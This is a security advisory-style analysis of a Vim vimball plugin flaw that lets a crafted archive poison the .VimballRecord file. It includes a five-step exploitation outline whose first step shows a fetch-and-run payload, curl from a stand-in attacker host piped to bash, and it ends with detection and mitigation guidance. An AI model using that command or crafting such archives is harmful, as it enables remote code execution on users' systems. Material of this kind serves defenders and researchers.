CVE-2026-73076: 
Vim vulnerability analysis and mitigation

CVE-2026-73076 is an arbitrary command execution vulnerability in Vim's vimball plugin (runtime/autoload/vimball.vim) that allows an attacker to execute arbitrary Ex and OS commands with the privileges of the user running Vim. It affects all Vim versions prior to 9.2.0847 and was published on August 11, 2026, with the fix released in patch v9.2.0847 (committed July 23, 2026). The vulnerability was assigned a CVSS v3.1 base score of 7.3 (High) and a CVSS v4.0 base score of 8.4 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause lies in insufficient input validation in vimball.vim (CWE-94: Code Injection; CWE-829: Inclusion of Functionality from Untrusted Control Sphere). The vimball plugin records installed files in a plain-text file named .VimballRecord, storing Ex commands used to undo installations. While the plugin rejected archive member names containing characters that could inject commands (e.g., |, ", )), it did not reject a member named .VimballRecord itself. An attacker can craft a vimball archive containing a member named .VimballRecord with arbitrary Ex commands — including OS commands via :! — which overwrites the legitimate record file. These commands are not executed immediately upon installation; instead, they are silently stored and executed later when vimball#RmVimball() processes any matching vimball record entry, enabling a deferred, stealthy execution (GitHub Advisory, Vim Commit).

Successful exploitation allows execution of arbitrary Ex commands and, through :!, arbitrary operating-system commands in the context of the user running Vim. This results in high confidentiality, integrity, and availability impact — an attacker can read sensitive files, modify or delete data, or achieve persistent code execution on the affected system. A particularly notable aspect is the deferred execution model: the malicious commands persist even after the crafted vimball archive is removed, and continue to execute during subsequent unrelated vimball operations, extending the attacker's foothold beyond the initial installation event (GitHub Advisory).

Exploitation requires the victim to install a vimball from an attacker-controlled source, either by manually sourcing it or via the getscript plugin, which downloads and sources vimballs automatically — making social engineering or supply chain compromise viable attack vectors. There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of publication. The EPSS score is approximately 0.0013 (0.13%), reflecting low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. NVD SSVC assessment classifies exploitation as "none" and automatable as "no" (GitHub Advisory, Red Hat Bugzilla).

1. Craft a malicious vimball archive: Create a .vmb vimball file that includes a member named .VimballRecord. Populate this member with attacker-chosen Ex commands, such as :!curl http://attacker.com/shell.sh | bash or other OS-level payloads.
2. Deliver the vimball to the victim: Distribute the malicious .vmb file via a plugin repository, a compromised plugin mirror, a phishing link, or by submitting it to a source that the victim's getscript plugin would automatically download and source.
3. Victim installs the vimball: The victim opens and sources the vimball (e.g., :so malicious.vmb). During extraction, the .VimballRecord member overwrites the legitimate installation record file in the vimball home directory with the attacker's commands. No commands execute at this stage, making the installation appear benign.
4. Trigger deferred execution: At a later time — during any unrelated vimball installation or removal — vimball#RmVimball() reads the poisoned .VimballRecord file, finds the matching entry, and executes the stored Ex commands (including OS commands via :!) with the privileges of the user running Vim.
5. Achieve objective: The attacker's payload executes silently, enabling data exfiltration, reverse shell establishment, persistence mechanisms, or further lateral movement on the system (GitHub Advisory, Vim Commit).

• File System: Unexpected or modified .VimballRecord file in the vimball installation directory (typically ~/.vim/ or the configured g:vimball_home); contents containing commands other than call delete('...') patterns, especially entries with :!, shell invocations, or network commands.
• File System: Presence of unexpected files or scripts in the Vim plugin directories created by malicious vimball extraction.
• Process: Unusual child processes spawned by the Vim process (e.g., bash, sh, curl, wget, python) during vimball install or remove operations.
• Logs: Shell history or audit logs showing unexpected command execution originating from Vim sessions, particularly during :RmVimball or vimball sourcing operations.
• Network: Outbound network connections from the user's session to unknown external hosts shortly after Vim vimball operations (GitHub Advisory).

Upgrade Vim to version 9.2.0847 or later, which addresses the vulnerability by refusing to extract any vimball member named .VimballRecord and by restricting vimball#RmVimball() to execute only entries matching the expected call delete('...') form, reporting and skipping anything else. As a workaround, avoid opening or sourcing vimball files from untrusted or unverified sources, and disable the getscript plugin if automatic vimball downloading is not required. Inspect existing .VimballRecord files for suspicious entries (anything other than call delete(...) lines) as a precautionary measure (GitHub Advisory, Vim Commit, Red Hat Bugzilla).

The vulnerability was reported by researcher tdjackey and acknowledged by the Vim project maintainer Christian Brabandt, who published the GitHub Security Advisory (GHSA-r22p-fhw4-84p2) and committed the fix on July 23, 2026. Red Hat triaged the issue as high severity and opened a tracking bug. The Vim project rated the advisory as "Moderate" severity, noting that installing a vimball from an untrusted source already permits command execution, so this issue extends rather than creates that risk. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability tracking feeds (GitHub Advisory, Red Hat Bugzilla).